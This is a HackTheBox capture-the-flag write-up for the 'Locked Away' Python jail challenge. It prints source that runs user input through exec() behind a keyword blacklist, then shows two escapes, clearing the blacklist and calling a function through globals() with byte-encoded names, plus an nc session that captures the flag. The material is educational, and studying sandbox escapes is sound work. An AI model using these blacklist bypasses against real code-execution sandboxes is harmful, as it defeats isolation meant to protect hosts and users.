HackTheBox Locked Away | Python CTF Writeups
Introduction
A test! Getting onto the team is one thing, but you must prove your skills to be chosen to represent the best of the best. They have given you the classic — a restricted environment, devoid of functionality, and it is up to you to see what you can do. Can you break open the chest? Do you have what it takes to bring humanity from the brink?
General Overview
We are given the source code in main.py
banner = r'''
.____ __ .___ _____
| | ____ ____ | | __ ____ __| _/ / _ \__ _ _______ ___.__.
| | / _ \_/ ___\| |/ // __ \ / __ | / /_\ \ \/ \/ /\__ \< | |
| |__( <_> ) \___| <\ ___// /_/ | / | \ / / __ \\___ |
|_______ \____/ \___ >__|_ \\___ >____ | \____|__ /\/\_/ (____ / ____|
\/ \/ \/ \/ \/ \/ \/\/
'''
def open_chest():
with open('flag.txt', 'r') as f:
print(f.read())
blacklist = [
'import', 'os', 'sys', 'breakpoint',
'flag', 'txt', 'read', 'eval', 'exec',
'dir', 'print', 'subprocess', '[', ']',
'echo', 'cat', '>', '<', '"', '\'', 'open'
]print(banner)while True:
command = input('The chest lies waiting... ') if any(b in command for b in blacklist):
print('Invalid command!')
continue try:
exec(command)
except Exception:
print('You have been locked away...')
exit(1337)
Essentially, our input is checked against a blacklist, and if any blacklisted strings are detected, the input is rejected. If not, it’s sent to exec() for direct code execution. By calling open_chest()
, we can retrieve the flag. However, an invalid command terminates the process, making boolean-based extraction impossible. This is a typical PyJail
challenge!
The blacklisted words:
blacklist = [ 'import', 'os', 'sys', 'breakpoint', 'flag', 'txt', 'read', 'eval', 'exec', 'dir', 'print', 'subprocess', '[', ']', 'echo', 'cat', '>', '<', '"', '\'', 'open' ]
The function that gives the flag:
def open_chest(): with open('flag.txt', 'r') as f: print(f.read())
What is PyJail
PyJail (short for “Python Jail”) refers to a security mechanism or sandbox used to isolate the execution of Python code. The idea behind PyJail is to limit what a Python program or script can do when it runs, especially in environments where users can submit or execute their own code. This is commonly implemented to prevent malicious activities, unauthorized access to system resources, or execution of harmful commands on the host machine.
Key Aspects of PyJail:
- Sandboxing:
- A controlled environment is created where user code is executed with limited permissions.
- The sandbox restricts access to the underlying system, critical Python libraries, or built-in functions that might allow harmful operations.
- Preventing Escapes:
- The goal of PyJail is to prevent code from “escaping” the controlled environment and interacting with the host system in an unintended way.
- A “jailbreak” occurs when an attacker manages to bypass these restrictions, gaining access to the broader system or resources outside of the sandbox.
- Typical Use Cases:
- Web platforms that allow users to run code snippets (e.g., online coding platforms).
- Server-side execution of user-submitted code where security is a concern.
- CTF (Capture the Flag) challenges in cybersecurity, where contestants try to break out of Python sandboxes.
- Common PyJail Escape Techniques:
- Exploiting unsafe built-in functions or libraries (e.g.,
eval
,exec
, oros.system
). - Bypassing restrictions using obscure Python features (like special attributes or the introspection of Python objects).
- Leveraging deserialization attacks or accessing restricted files or network services.
Walkthrough
Method [1]
We can’t directly call open_chest()
because “open” is blocked by the blacklist.
How can we get around the blacklist? Although there are probably many approaches, the method we’ll outline here is likely the easiest. Rather than trying to bypass the blacklist, we’ll overwrite it.
One initial idea could be to achieve this using the following approach:
blacklist = []
However, this approach includes two blocked characters: [
and ]
. With a bit of research, the user might discover the clear()
function for Python lists, which can be used to empty the array. This method avoids any blacklisted strings!
blacklist.clear()
After clearing the blacklist, we are free to execute any Python code we want to read the flag.
open_chest()
Method [2]
In Python, there’s a built-in function called globals()
, which returns a dictionary containing all global functions and variables within the script.
$ python3 -q >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>} >>> b = 2
>>> globals().get('b')
2
Now, we just need to represent a string without using single or double quotes. There are several ways to achieve this, such as using a list of integers to represent bytes or by utilizing chr()
and the +
operator.
>>> list(b'open_chest')
[111, 112, 101, 110, 95, 99, 104, 101, 115, 116] >>> bytes([111, 112, 101, 110, 95, 99, 104, 101, 115, 116]).decode() 'open_chest'
>>> chr(111) + chr(112) + chr(101) + chr(110) + chr(95) + chr(99) + chr(104) + chr(101) + chr(115) + chr(116)
'open_chest'
With everything ready, we call open_chest
$ nc 94.237.54.201 58952
.____ __ .___ _____ | | ____ ____ | | __ ____ __| _/ / _ \__ _ _______ ___.__. | | / _ \_/ ___\| |/ // __ \ / __ | / /_\ \ \/ \/ /\__ \< | | | |__( <_> ) \___| <\ ___// /_/ | / | \ / / __ \\___ | |_______ \____/ \___ >__|_ \\___ >____ | \____|__ /\/\_/ (____ / ____| \/ \/ \/ \/ \/ \/ \/\/ The chest lies waiting...
globals().get(bytes((111, 112, 101, 110, 95, 99, 104, 101, 115, 116)).decode())() HTB{bL4cKl1sT?_bUt_tH4t'5_t0o_3asY}
You can also watch: